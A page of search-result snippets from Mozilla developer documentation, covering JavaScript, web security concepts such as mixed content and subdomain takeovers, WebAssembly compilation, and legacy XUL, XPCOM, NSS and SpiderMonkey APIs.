...And 11 more matches
instanceof - JavaScript
// defining constructors function c() {} function d() {} let o = new c() // true, because: object.getprototypeof(o) === c.prototype o instanceof c // false, because d.prototype is nowhere in o's prototype chain o instanceof d o instanceof object // true, because: c.prototype instanceof object // true c.prototype = {} let o2 = new c() o2 instanceof c // true // false, because c.prototype is nowhere in // o's prototype chain anymore o instanceof c d.prototype = new c...
...() // add c to [[prototype]] linkage of d let o3 = new d() o3 instanceof d // true o3 instanceof c // true since c.prototype is now in o3's prototype chain note that the value of an instanceof test can change based on changes to the prototype property of constructors.
... it can also be changed by changing an object's prototype using object.setprototypeof.
...And 11 more matches
Lazy loading - Web Performance
lazy loading is a strategy to identify resources as non-blocking (non-critical) and load these only when needed.
... it's a way to shorten the length of the critical rendering path, which translates into reduced page load times.
... lazy loading can occur on different moments in the application, but it typically happens on some user interactions such as scrolling and navigation.
...And 11 more matches
Mixed content - Web security
an https page that includes content fetched using cleartext http is called a mixed content page.
... types of mixed content there are two categories for mixed content: mixed passive/display content and mixed active content.
... the difference lies in the threat level of the worst case scenario if content is rewritten as part of a man-in-the-middle attack.
...And 11 more matches
Subdomain takeovers - Web security
typically, this happens when the subdomain has a canonical name (cname) in the domain name system (dns), but no host is providing content for it.
... this can happen because either a virtual host hasn’t been published yet or a virtual host has been removed.
... an attacker can take over that subdomain by providing their own virtual host and then hosting their own content for it.
...And 11 more matches
Compiling an Existing C Module to WebAssembly - WebAssembly
a core use-case for webassembly is to take the existing ecosystem of c libraries and allow developers to use them on the web.
... $ git clone https://github.com/webmproject/libwebp to start off simple, expose webpgetencoderversion() from encode.h to javascript by writing a c file called webp.c: #include "emscripten.h" #include "src/webp/encode.h" emscripten_keepalive int version() { return webpgetencoderversion(); } this is a good simple program to test whether you can get the source code of libwebp to compile, as it doesn't require any parameters or complex data structures to invoke this function.
... to compile this program, you need to tell the compiler where it can find libwebp's header files using the -i flag and also pass it all the c files of libwebp that it needs.
...And 11 more matches
timers - Archive of obsolete content
globals constructors functions settimeout(callback, ms) schedules callback to be called in ms milliseconds.
... any additional arguments are passed straight through to the callback.
... parameters callback : function function to be called.
...And 10 more matches
content/mod - Archive of obsolete content
globals constructors functions attachto(modification, window) function applies given modification to a given window.
... for example, the following code applies a style to a content window, adding a border to all divs in page: var attachto = require("sdk/content/mod").attachto; var style = require("sdk/stylesheet/style").style; var style = style({ source: "div { border: 4px solid gray }" }); // assuming window points to the content page we want to modify attachto(style, window); parameters modification : object the modification we want to apply to the target.
... detachfrom(modification, window) function removes attached modification from a given window.
...And 10 more matches
event/target - Archive of obsolete content
create objects that broadcast events.
... users of the object can listen to the events using the standard on() and once() functions.
... usage many objects in the sdk can broadcast events.
...And 10 more matches
JavaScript timers - Archive of obsolete content
but there are some javascript native functions (timers) which allow us to delay the execution of arbitrary instructions: settimeout() setinterval() setimmediate() requestanimationframe() the settimeout() function is commonly used if you wish to have your function called once after the specified delay.
...the setimmediate() function can be used instead of the settimeout(fn, 0) method to execute heavy operations in ie.
... documentation settimeout() calls a function or executes a code snippet after specified delay.
...And 10 more matches
Extension Packaging - Archive of obsolete content
extensions are packaged in a form of installable bundle which can be downloaded and installed by a user, or provided pre-packaged with an application or by an external program.
... extensions use a directory structure which can provide chrome, components, and other files to extend the functionality of an xul program.
... after the extension files and install.rdf have been prepared, there are several ways to prepare an extension for installation: zip the extension directory into a user-installable xpi (xpinstall) file, unpack the extension directly into the user's application or profile directory, or register the extension in the windows registry.
...And 10 more matches
Exception logging in JavaScript - Archive of obsolete content
as a result, if, for example, c++ code called a javascript component, which threw an exception, that exception would be logged to the console before control was returned to the c++ caller.
...javascript code is sometimes designed to throw exceptions to report a result condition back to the c++ caller.
... all other errors are reported when the last javascript frame on the stack returns to a c++ caller without handling the exception.
...And 10 more matches
Downloading Nightly or Trunk Builds - Archive of obsolete content
it can be helpful to know exactly what these refer to.
...so to figure out how to download a cutting edge or bleeding edge or 'beta' version of firefox, you need to look for a "build" (which is developer-speak for the packaged files you can download) of 1.9.1 (the number of the underlying 'platform' called 'gecko' or 'mozilla' that firefox uses).
...and very often neither names nor numbers are used, but rather special words indicating relative order are used.
...And 10 more matches
generateCRMFRequest() - Archive of obsolete content
deprecatedthis feature has been removed from the web standards.
... crmfobject = crypto.generatecrmfrequest("requesteddn", "regtoken", "authenticator", "escrowauthoritycert", "crmf generation done code", keysize1, "keyparams1", "keygenalg1", ..., keysizen, "keyparamsn", "keygenalgn"); this method will generate a sequence of crmf requests that has n requests.
... argument description "requesteddn" an rfc 1485 formatted dn to include in the certificate request.
...And 10 more matches
Microsummary topics - Archive of obsolete content
warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) programmatically installing a microsummary generator to programmatically install a microsummary generator -- for example, in an extension that helps users create custom generators for their favorite sites -- obtain a reference to the nsimicrosummaryservice interface implemented by the nsimicrosummaryservice component, then call its installgenerator() method, passing it an xml document containing the generator.
... getservice(components.interfaces.nsimicrosummaryservice); var generator = microsummaryservice.installgenerator(generatordoc); the service installs the generator by serializing its xml to a file in the user's profile directory and adding the generator to the service's in-memory generator cache.
... when programmatically installing generators, you should specify a unique identifier for the generator in the uri attribute of the <generator> element.
...And 10 more matches
Porting NSPR to Unix Platforms - Archive of obsolete content
last modified 16 july 1998 <<< under construction >>> unix platforms are probably the easiest platforms to port netscape portable runtime (nspr) to.
...therefore i write this article to document the more mechanical part of the unix porting task.
... porting instructions you can use different threading packages to implement nspr threads.
...And 10 more matches
Bundles - Archive of obsolete content
webapp bundle in addition to passing simple command line parameters, prism can use a zipped bundle package to install a webapp.
... the bundle can hold additional resources currently limited to: application ini settings application icon script for the application chrome, not the web content installing a bundle when prism opens a webapp bundle it will unpack it into the webapps/{webapp-id} folder.
... this folder is located in the application data folder of the user's home directory on windows, in the ~/.webapps directory on linux and under ~/library on os x.
...And 10 more matches
Configuration - Archive of obsolete content
the profile can be used to launch the webapp in prism.
...here is the list of parameters: id the unique name of this web application.
... remember that other people can create different webapps using the same uri and this webapp is only your particular instance or mashup.
...And 10 more matches
Priority Content - Archive of obsolete content
book length works in progress: netscape gecko plugin api reference 1.0 original: netscape gecko plugin api reference 1.0 wiki location: gecko plugin api reference migrators: started: core javascript reference 1.5 original: core javascript reference 1.5 wiki location: core javascript 1.5 reference migrators: deb richardson in progress: transforming xml: netscape and xslt 1.0 original: transforming xml: netscape and xslt 1...
....0 wiki location: transforming xml with xslt migrators: serge k.
... keller in progress: rapid application development with mozilla original: author's page and planned host, ben's temporary host wiki location: toc and links page still under construction.
...And 10 more matches
Reading textual data - Archive of obsolete content
determining the character encoding of data if you have a network channel (nsichannel), you can try the contentcharset property of it.
...you can fallback to the default character encoding stored in preferences (intl.charset.default, a localized pref value) when reading from a file, the question is harder to answer.
... converting read data if you read data from nsiscriptableinputstream as described on the file i/o code snippets page, you can convert it to utf-8 // sstream is nsiscriptableinputstream var str = sstream.read(4096); var utf8converter = components.classes["@mozilla.org/intl/utf8converterservice;1"].
...And 10 more matches
Writing textual data - Archive of obsolete content
some character encodings (utf-8, utf-16, utf-32) can represent "all" characters (the full repertoire of unicode) while others can only represent a subset of the full repertoire.
... when the file is to be read only by the application/extension itself, using utf-8 is often the best choice — it can represent all characters, and ascii characters are represented efficiently.
... writing to a stream in gecko 1.8 (seamonkey 1.0, firefox 1.5), you can use nsiconverteroutputstream: var charset = "utf-8"; // can be any character encoding name that mozilla supports var os = components.classes["@mozilla.org/intl/converter-output-stream;1"] .createinstance(components.interfaces.nsiconverteroutputstream); // this assumes that fos is the nsioutputstream you want to write to os.init(fos, charset, 0, 0x0000); os.writestring("umlaute: \u00fc \u00e4\n"); os.writestring("hebrew: \u05d0 \u05d1\n"); // etc.
...And 10 more matches
Attribute Substitution - Archive of obsolete content
for instance, to include a prefix before a variable value, you can use: <label value="my name is ?name"/> the effect will be that the ?name part of the attribute will be replaced by the value of the variable ?name.
...you can include multiple variables in one attribute if desired: <label value="my name is ?name and my age is ?age"/> this technique will work for any variable replacement in the action body, except for the uri attribute since that wouldn't be meaningful.
...it is sometimes useful though, to concatenate two values together without a space.
...And 10 more matches
XML Templates - Archive of obsolete content
this indicates to the template builder that an xml source is being used as that the queries use syntax that is specific to xml.
... the datasources attribute should be set to the url of an xml document, either a local file or a remote web site.
... the ref attribute isn't currently used for xml sources, as the root of the document is always the starting point for xml queries; you should just set the ref attribute to a dummy value, for example '*' which is typically used.
...And 10 more matches
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
you can add event handlers to the elements inside the content if needed.
...you can use more than one handler if necessary.
...for example, a custom checkbox might have a checked property which needs to be changed when the user clicks the checkbox: <handlers> <handler event="mouseup" action="this.checked=!this.checked"/> </handlers> when the user clicks and releases the mouse button over the check box, the mouseup event is sent to it, and the handler defined here is called, causing the state of the checked property to be reversed.
...And 10 more matches
Box Objects - Archive of obsolete content
the layout tree holds a different tree of nodes for each individual component that can be displayed.
...recall that all xul elements are types of boxes, that is the box is the base of all displayed xul elements.
...the layout object associated with an element can be removed and a completely different type of object created just by changing the css display property, among others.
...And 10 more matches
iframe - Archive of obsolete content
the src attribute can be used to specify the content of the frame.
...this can be a serious security vulnerability, for example if you use src="http://...".
... when used in this case, please see displaying web content in an extension without security issues.
...And 10 more matches
window - Archive of obsolete content
as it is a box, all box attributes can be used.
... note: starting in gecko 1.9.2, you can detect when a window is activated or deactivated by watching for the "activate" and "deactivate" events.
...--> <window id="rootwnd" title="register online!" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <vbox> <hbox> <image src="application_form.png"/> <description>register online!</description> </hbox> <groupbox align="start"> <caption label="your information"/> <radiogroup> <vbox> <hbox> <label control="your-fname" value="enter first name:"/> <textbox id="your-fname" value="johan"/> </hbox> <hbox> <label control="your-lname" val...
...And 10 more matches
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
xulrunner 1.8.0.4 is a stable developer preview of the mozilla xulrunner application framework.
...it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications.
... installing xul applications xul applications can be obtained from various sources, and are typically packaged as a zip archive with the extension .xulapp or .xpi.
...And 10 more matches
Dialogs in XULRunner - Archive of obsolete content
dialogs are pretty fundamental to a desktop application.
... certain types of dialogs are used so frequently that the os can provide a default implementation.
...whenever possible, it is a good idea to reuse these "native" dialogs so users get a consistent experience across applications.
...And 10 more matches
Shipping a plugin as a Toolkit bundle - Archive of obsolete content
historically, most people have chosen to use an install.js script to install a plugin.
... when this method is used, you can choose to either place the plugin into the plugins directory, or place it into your own directory and modify the windows registry to let firefox know where to find the plugin.
...as of firefox 3 (and any gecko 1.9 based application) the use of install.js scripts is no longer supported and plugins must either be shipped as an executable installer or in a bundle as described here.
...And 10 more matches
Bounce off the walls - Game development
« previousnext » this is the 3rd step out of 10 of the gamedev canvas tutorial.
... you can find the source code as it should look after completing this lesson at gamedev-canvas-workshop/lesson3.html.
... it is nice to see our ball moving, but it quickly disappears from the screen, limiting the fun we can have with it!
...And 10 more matches
Physics - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson05.html.
... for proper collision detection between objects in our game we will need to have physics; this article introduces you to what's available in phaser, as well as demonstrating a typical simple setup.
... adding physics phaser is bundled with three different physics engines — arcade physics, p2 and ninja physics — with a fourth option, box2d, being available as a commercial plugin.
...And 10 more matches
Attribute selectors - Learn web development
previous overview: building blocks next as you know from your study of html, elements can have attributes that give further detail about the element being marked up.
... in css you can use attribute selectors to target elements with certain attributes.
... in the example below you can see these selectors being used.
...And 10 more matches
How do you make sure your website works properly? - Learn web development
objective: you will learn how to diagnose and resolve some basic issues you can run into with your website.
... a distant web server often behaves quite differently from a local one, so it's a good idea to test your website once it's online.
... 301: moved permanently the resource has moved to a new location.
...And 10 more matches
What do common web layouts contain? - Learn web development
you start out with a blank page, and you can take it so many directions.
... and if you don't have much experience, starting out with a blank page might be a bit scary.
... these elements are quite common in all form factors, but they can be laid out different ways.
...And 10 more matches
What is accessibility? - Learn web development
summary because of physical or technical limitations, maybe your visitors can't experience your website the way you hoped.
...what can the people in brazil do with your english website?
... can the people with smartphones browse a heavy, cluttered website designed for a large desktop monitor and unlimited bandwidth?
...And 10 more matches
Test your skills: Arrays - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
...in this task we'd like you to create an array of three items, stored inside a variable called myarray.
...And 10 more matches
Android-specific test suites
android-test runs android-specific local unit tests.
... these tests are local — they run on your development machine and do not require an android device or android emulator.
... local unit tests are the fastest to develop and execute, but they can only test java code; there's no connection to the gecko rendering engine.
...And 10 more matches
Commenting IDL for better documentation
this article will help you understand how you can format your comments to help ensure that the conversion process can be automated as much as possible in order to ensure that your interface gets properly documented.
...but by following the guidelines here, you can help make sure that our tools can generate a "good start" version of the documentation for your interfaces, and that the writers will be able to easily figure out what the tools are not able to do automatically.
...automatic documentation generation tools can not see what is obvious to human brains.
...And 10 more matches
mozbrowsersecuritychange
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
...possible values are: broken: indicates an unknown security state.
...And 10 more matches
Getting Started with Chat
this page is being retained for historical and reference purposes.
...sometimes, it can take a few minutes for people to respond.
... software there are several different applications which allow you to connect to irc networks.
...And 10 more matches
Implementing Download Resuming
this document describes how an embedder or other gecko/necko-using application can implement download resuming.
...this means that if a download was interrupted, it can be resumed from that point on, rather than regetting the whole file.
...this can also be used to check whether the download is resumable: if it is not (e.g.
...And 10 more matches
AddonListener
addonlisteners can be registered with addaddonlistener() and will then receive notification of changes to the add-ons currently installed.
... these notifications come in the form of calls to methods on the listener object.
... a listener only needs to implement the methods corresponding to the events it cares about; missing methods will not cause any problems.
...And 10 more matches
TimerFirings logging
this is useful because timer firings are a major cause of wakeups, which can cause high power consumption.
... invocation timerfirings logging uses gecko's own logging mechanism, and so is able to be used in any build.
... -991946880[7f46c365ba00]: [6775] fn timer (slack 100 ms): layeractivitytracker -991946880[7f46c365ba00]: [6775] fn timer (one_shot 250 ms): presshell::spaintsuppressioncallback -991946880[7f46c365ba00]: [6775] fn timer (one_shot 160 ms): nsbrowserstatusfilter::timeouthandler -991946880[7f46c365ba00]: [6775] iface timer (one_shot 200 ms): 7f46964d7f80 -1340643584[7f46c365ec00]: [6775] obs timer (slack 1000 ms): 7f46a95a0200 each line has the following information.
...And 10 more matches
NSS Sample Code Sample1
this program shows the following: rsa key pair generation naming rsa key pairs looking up a previously generated key pair by name creating aes and mac keys (or encryption and mac keys in general) wrapping symmetric keys using your own rsa key pair so that they can be stored on disk or in a database.
... as an alternative to token symmetric keys as a way to store large numbers of symmetric keys wrapping symmetric keys using an rsa key from another server unwrapping keys using your own rsa key pair the main part of the program shows a typical sequence of events for two servers that are trying to extablish a shared key pair.
... in this case, the primary maintains a list of the // secondary hosts.
...And 10 more matches
OLD SSL Reference
upgraded documentation may be found in the current nss reference ssl reference newsgroup: mozilla.dev.tech.crypto writer: sean cotter manager: wan-teh chang chapter 1 overview of an ssl application ssl and related apis allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted communications.
...chapter 2, "getting started with ssl" illustrates their use in sample client and server applications.
... initialization initializing caches configuration communication functions used by callbacks cleanup chapter 2 getting started with ssl this chapter describes how to set up your environment, including certificate and key databases, to run the nss sample code.
...And 10 more matches
SpiderMonkey compartments
with compartments, garbage collection can run per compartment.
... this can result in significant performance improvements in some applications.
... an object in one compartment cannot touch an object in another compartment, except through a cross-compartment wrapper.
...And 10 more matches
JS::PersistentRooted
this is typically used for global variables.
... these roots can be used in heap-allocated data structures, so they are not associated with any particular jscontext or stack.
...initialization may take place on construction, or in two phases if the no-argument constructor is called followed by init().
...And 10 more matches
JS::Value
the data in a js::value can be accessed using these member functions: js type js::value type tests constructor accessors mutators null val.isnull() js::nullvalue() n/a val.setnull() undefined val.isundefined() js::undefinedvalue() n/a val.setundefined() boolean val.isboolean(), val.istrue(), val.isfalse() js::booleanvalue(bool), js::truevalue(),...
...the only exception is that only a single nan value can be represented.
... js::value is not inherently type-safe it is an error to call any accessor method on a value of a non-matching type: val.toint32() must only be called if val.isint32(), val.tostring() must only be called if val.isstring(), and so on.
...And 10 more matches
JS_DefineFunction
syntax jsfunction * js_definefunction(jscontext *cx, js::handle<jsobject*> obj, const char *name, jsnative call, unsigned nargs, unsigned attrs); jsfunction * js_defineucfunction(jscontext *cx, js::handle<jsobject*> obj, const char16_t *name, size_t namelen, jsnative call, unsigned nargs, unsigned attrs); jsfunction * js_definefunctionbyid(jscontext *cx, js::handle<jsobject*> obj, js::handle<jsid> id, jsnative call, unsigned nargs, unsigned attrs); // added in spidermonkey 17 name type description cx jscontext * the context in which to define the fun...
...in a js_threadsafe build, the caller must be in a request on this jscontext.
...added in spidermonkey 17 call jsnative the native c/c++ function to be wrapped by the new function.
...And 10 more matches
SavedFrame
it represents a javascript call stack at a past moment of execution.
...savedframe stacks should generally be captured, allocated, and live within the compartment that is being observed or debugged.
...capturing savedframe stacks from c++ use js::capturecurrentstack declared in jsapi.h.
...And 10 more matches
Manipulating bookmarks using Places
initiating the bookmarks service as is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it: var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder creating a new bookmark folder is done using the nsinavbookmarksservice.createfolder() method.
... for example, to create a new folder in the bookmarks menu: var menufolder = bmsvc.bookmarksmenufolder; // bookmarks menu folder var newfolderid = bmsvc.createfolder(menufolder, "folder name here", bmsvc.default_index); this code locates the bookmarks menu's folder, then creates a new folder named "folder name here" in it.
... you can easily change this code to insert the new folder into the bookmarks toolbar by changing bookmarksmenufolder to another folder attribute.
...And 10 more matches
Aggregating the In-Memory Datasource
introduction you can use xpcom aggregation1 with the in-memory datasource.
... when it won't work although this magic is terribly convenient to use, it won't work in the case that you want to "override" some of the in-memory datasource's methods.
... in short, the only case where this technique is useful is when you're implementing a datasource to get "read-only reflection".
...And 10 more matches
nsAString_internal
per.mozilla.org/en/nsadoptingstring" shape="rect" title="nsadoptingstring"> </map> method overview constructors beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char operator= adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutableda...
...parameters nssubstringtuple& tuple void nsastring_internal(prunichar*, pruint32, pruint32) - source parameters prunichar* data pruint32 length pruint32 flags beginreading prunichar* beginreading() const - source reading iterators nsreadingiterator<short unsigned int>& beginreading(nsreadingiterator<short unsigned int>&) const - source deprecated reading iterators parameters nsreadingiterator<short unsigned int>& iter prunichar*& beginreading(const prunichar*&) const - source parameters prunichar*& iter endreading prunichar* endreading() const - source nsreadingiterator<short unsigned int>& endreading(nsreadingiterator<short unsigned int>&) const - source parameters nsreadingiterator<short unsigned int>& iter pru...
...nichar*& endreading(const prunichar*&) const - source parameters prunichar*& iter beginwriting prunichar* beginwriting() - source writing iterators nswritingiterator<short unsigned int>& beginwriting(nswritingiterator<short unsigned int>&) - source deprecated writing iterators parameters nswritingiterator<short unsigned int>& iter prunichar*& beginwriting(prunichar*&) - source parameters prunichar*& iter endwriting prunichar* endwriting() - source nswritingiterator<short unsigned int>& endwriting(nswritingiterator<short unsigned int>&) - source parameters nswritingiterator<short unsigned int>& iter prunichar*& endwriting(prunichar*&) - source parameters prunichar*& iter data prunichar* data() const - source accessors length pruint32 le...
...And 10 more matches
nsDependentCSubstring
bstring for wide characters nsdependentcsubstring for narrow characters method overview constructors rebind beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char operator= adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutableda...
...void rebind(const nsacstring_internal&, pruint32, pruint32) - source parameters nsacstring_internal& <anonymous> pruint32 startpos pruint32 length void rebind(const char*, const char*) - source parameters char* start char* end beginreading char* beginreading() const - source reading iterators nsreadingiterator<char>& beginreading(nsreadingiterator<char>&) const - source deprecated reading iterators parameters nsreadingiterator<char>& iter char*& beginreading(const char*&) const - source parameters char*& iter endreading char* endreading() const - source nsreadingiterator<char>& endreading(nsreadingiterator<char>&) const - source parameters nsreadingiterator<char>& iter char*& endreading(const char*&) const - source parameters char*& iter b...
...eginwriting char* beginwriting() - source writing iterators nswritingiterator<char>& beginwriting(nswritingiterator<char>&) - source deprecated writing iterators parameters nswritingiterator<char>& iter char*& beginwriting(char*&) - source parameters char*& iter endwriting char* endwriting() - source nswritingiterator<char>& endwriting(nswritingiterator<char>&) - source parameters nswritingiterator<char>& iter char*& endwriting(char*&) - source parameters char*& iter data char* data() const - source accessors length pruint32 length() const - source isempty prbool isempty() const - source isvoid prbool isvoid() const - source isterminated prbool isterminated() const - source charat char charat(pruint32) const - sourc...
...And 10 more matches
nsDependentSubstring
bstring for wide characters nsdependentcsubstring for narrow characters method overview constructors rebind beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char operator= adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutableda...
...uint32) - source parameters nsastring_internal& <anonymous> pruint32 startpos pruint32 length void rebind(const prunichar*, const prunichar*) - source parameters prunichar* start prunichar* end beginreading prunichar* beginreading() const - source reading iterators nsreadingiterator<short unsigned int>& beginreading(nsreadingiterator<short unsigned int>&) const - source deprecated reading iterators parameters nsreadingiterator<short unsigned int>& iter prunichar*& beginreading(const prunichar*&) const - source parameters prunichar*& iter endreading prunichar* endreading() const - source nsreadingiterator<short unsigned int>& endreading(nsreadingiterator<short unsigned int>&) const - source parameters nsreadingiterator<short unsigned int>& iter pru...
...nichar*& endreading(const prunichar*&) const - source parameters prunichar*& iter beginwriting prunichar* beginwriting() - source writing iterators nswritingiterator<short unsigned int>& beginwriting(nswritingiterator<short unsigned int>&) - source deprecated writing iterators parameters nswritingiterator<short unsigned int>& iter prunichar*& beginwriting(prunichar*&) - source parameters prunichar*& iter endwriting prunichar* endwriting() - source nswritingiterator<short unsigned int>& endwriting(nswritingiterator<short unsigned int>&) - source parameters nswritingiterator<short unsigned int>& iter prunichar*& endwriting(prunichar*&) - source parameters prunichar*& iter data prunichar* data() const - source accessors length pruint32 le...
...And 10 more matches
mozIAsyncHistory
inherits from: nsisupports last changed in gecko 24.0 (firefox 24.0 / thunderbird 24.0 / seamonkey 2.21) implemented by: @mozilla.org/browser/history;1 as a service: var asynchistory = components.classes["@mozilla.org/browser/history;1"] .getservice(components.interfaces.moziasynchistory); method overview void getplacesinfo(in jsval aplaceidentifiers, in mozivisitinfocallback acallback); void isurivisited(in nsiuri auri, in mozivisitedstatuscallback acallback); void updateplaces(in moziplaceinfo, [optional] in mozivisitinfocallback acallback); methods getplacesinfo() starts an asynchronous request to determine whether or not a given uri has been visited; you must implement a callback to receive the result of the request.
... void getplacesinfo( in jsval aplaceidentifiers, in mozivisitinfocallback acallback ); parameters aplaceidentifiers the uri for which to determine the visited status.
... acallback an object implementing the mozivisitedstatuscallback.isvisited() method.
...And 10 more matches
nsIConsoleService
xpcom/base/nsiconsoleservice.idlscriptable the console service is the back-end for the error console, bundled with every mozilla application, and for firefox's web console and browser console.
...if no messages are logged, this function will return a count of 0, but allocating a placeholder word for messages, showing as a 0-length array when called from the script.
...if no messages are logged, this function will return a count of 0, but allocating a placeholder word for messages, showing as a 0-length array when called from the script.
...And 10 more matches
nsICookiePermission
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview nscookieaccess canaccess(in nsiuri auri, in nsichannel achannel); boolean cansetcookie(in nsiuri auri, in nsichannel achannel, in nsicookie2 acookie, inout boolean aissession, inout print64 aexpiry); nsiuri getoriginatinguri(in nsichannel achannel); void setaccess(in nsiuri auri, in nscookieaccess aaccess); constants constant value description access_default 0 nscookieaccess's access default value access_allow 1 nscookieaccess's access allow value access_deny 2 nscookieaccess's access deny value access_session 8 ad...
...these may be relocated somewhere else if we ever consider freezing this interface.
... methods canaccess() tests whether or not the given uri/channel may access the cookie database, either to set or get cookies.
...And 10 more matches
nsICryptoHMAC
these values are to be used by the init() method to indicate which hashing function to use.
...note: this method may be called any time after init() is called.
... this call resets the object to its pre-init state.
...And 10 more matches
nsIDOMSimpleGestureEvent
mozmagnifygestureupdate - generated periodically while the user is continuing the magnify ("pinch") gesture.
...if you only want to receive a single event when the magnify gesture is complete, you only need to hook this event and can safely ignore the mozmagnifygesturestart and the mozmagnifygestureupdate events.
... mozrotategestureupdate - generated periodically while the user is continuing the rotation gesture.
...And 10 more matches
nsIDynamicContainer
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) the service can fill result nodes directly into the container when it is opened.
... it can use the property bag on every result node to store data associated with each item, such as a full path on disk.
... it can also create additional containers for each container, registered to its service.
...And 10 more matches
nsIMacDockSupport
method summary void activateapplication(in boolean aignoreotherapplications); attributes attribute type description badgetext astring text to display in a badge on the application's dock icon.
... this can be used, for example, to display the number of unread messages in an email client.
... dockmenu nsistandalonemenu the menu to display when the user right-clicks on the application's icon in the dock.
...And 10 more matches
nsINavHistoryQuery
toolkit/components/places/public/nsinavhistoryservice.idlscriptable encapsulates all the query parameters you're likely to need when building up history ui.
...this was designed so that most queries can be done in only one sql query.
... this is important because, if the user has their profile on a networked drive, query latency can be non-negligible method overview nsinavhistoryquery clone(); void getfolders([optional ]out unsigned long count, [retval,array,size_is(count)] out long long folders); void gettransitions([optional] out unsigned long count, [retval,array,size_is(count)] out unsigned long transitions); void setfolders([const,array, size_is(foldercount)] in long long folders, in unsigned long foldercount); void settransitions([const,array, size_is(count)] in unsigned long transitions, in unsigned long count); attributes attribute type description absolutebegintime prtime read only: retrieves the begin time value that the currently loaded reference points + offset resolve to.
...And 10 more matches
nsIObserver
xpcom/ds/nsiobserver.idlscriptable this interface is implemented by an object that wishes to observe notifications.
... these notifications are often, though not always, broadcast via the nsiobserverservice.
... inherits from: nsisupports last changed in gecko 0.9.6 method overview void observe(in nsisupports asubject, in string atopic, in wstring adata); methods observe() this method will be called when there is a notification for the topic that the observer has been registered for.
...And 10 more matches
nsIPipe
xpcom/io/nsipipe.idlscriptable this interface represents an in-process buffer that can be read using nsiinputstream and written using nsioutputstream.
... inherits from: nsisupports last changed in gecko 1.6 method overview void init(in boolean nonblockinginput, in boolean nonblockingoutput, in unsigned long segmentsize, in unsigned long segmentcount, in nsimemory segmentallocator); attributes attribute type description inputstream nsiasyncinputstream the pipe's input end, which also implements nsisearchableinputstream.
...void init( in boolean nonblockinginput, in boolean nonblockingoutput, in unsigned long segmentsize, in unsigned long segmentcount, in nsimemory segmentallocator ); parameters nonblockinginput true specifies non-blocking input stream behavior.
...And 10 more matches
nsISocketTransport
netwerk/base/public/nsisockettransport.idlscriptable this interface specializes nsitransport for communication over network sockets.
...completion of the connection setup is indicated by a status_connected_to notification to the event sink (if set).
... to create an instance, call nsisockettransportservice.createtransport() method overview prnetaddr getpeeraddr(); native code only!
...And 10 more matches
nsIToolkitProfileService
to access the service, you can use the following code: var toolkitprofileservice = components.classes["@mozilla.org/toolkit/profile-service;1"] .createinstance(components.interfaces.nsitoolkitprofileservice); prior to gecko 1.9.1 only the built-in profile manager was able to access the toolkit profile service.
... to access the built-in profile manager in versions of firefox up to 4.0 and thunderbird up to 3.3 you can launch with the -profilemanager command line flag.
... future versions will require the separate profile manager application.
...And 10 more matches
nsIWindowsRegKey
key hkey this attribute exposes the native hkey and is available to provide c++ consumers with the flexibility of making other windows registry api calls that are not exposed via this interface.
...in that case, it is the responsibility of the consumer setting the hkey to ensure that it is a valid hkey.
... constant value description root_key_classes_root 0x80000000 root_key_current_user 0x80000001 root_key_local_machine 0x80000002 access constants values for the mode parameter passed to the open() and create() methods.
...And 10 more matches
Address book sync client design
pizzarro <rhp@netscape.com> contents overview client side sync logic public interfaces overview there is an component available in the mozilla tree for performing synchronization operations against a server based address book.
... mork ab database sync protocol encoding sync protocol decoding http "post" api mozilla networking client side sync logic the client synchronization logic defers to the server peforming some intelligence in handling duplicate entries for the sync process.
... the static information that is held on the client for address book sync operations is stored in a file called absync.dat which is located in the root directory of the users profile information.
...And 10 more matches
ABI
general details this article describes the calling conventions with respect to js-ctypes while programming x86 and x86-64/x64/amd64 architectures.
... a calling convention is an implementation-level (low-level) scheme regarding how subroutines receive parameters from their caller and how they revert.
... http://en.wikipedia.org/wiki/x86_calling_conventions abi abi stands for "application binary interface".
...And 10 more matches
DOM Inspector FAQ - Firefox Developer Tools
inspect chrome document inspect application chrome, including open xul windows, e.g., the browser window.
... inspect a url this just focuses the dom inspector's address bar, which allow you to inspect arbitrary documents which can be accessed via a url.
... this causes the document to be loaded in the browser pane.
...And 10 more matches
Browser Console - Firefox Developer Tools
similarly, you can execute javascript expressions using the browser console.
...this means you can interact with all the browser's tabs using the gbrowser global, and even with the xul used to specify the browser's user interface.
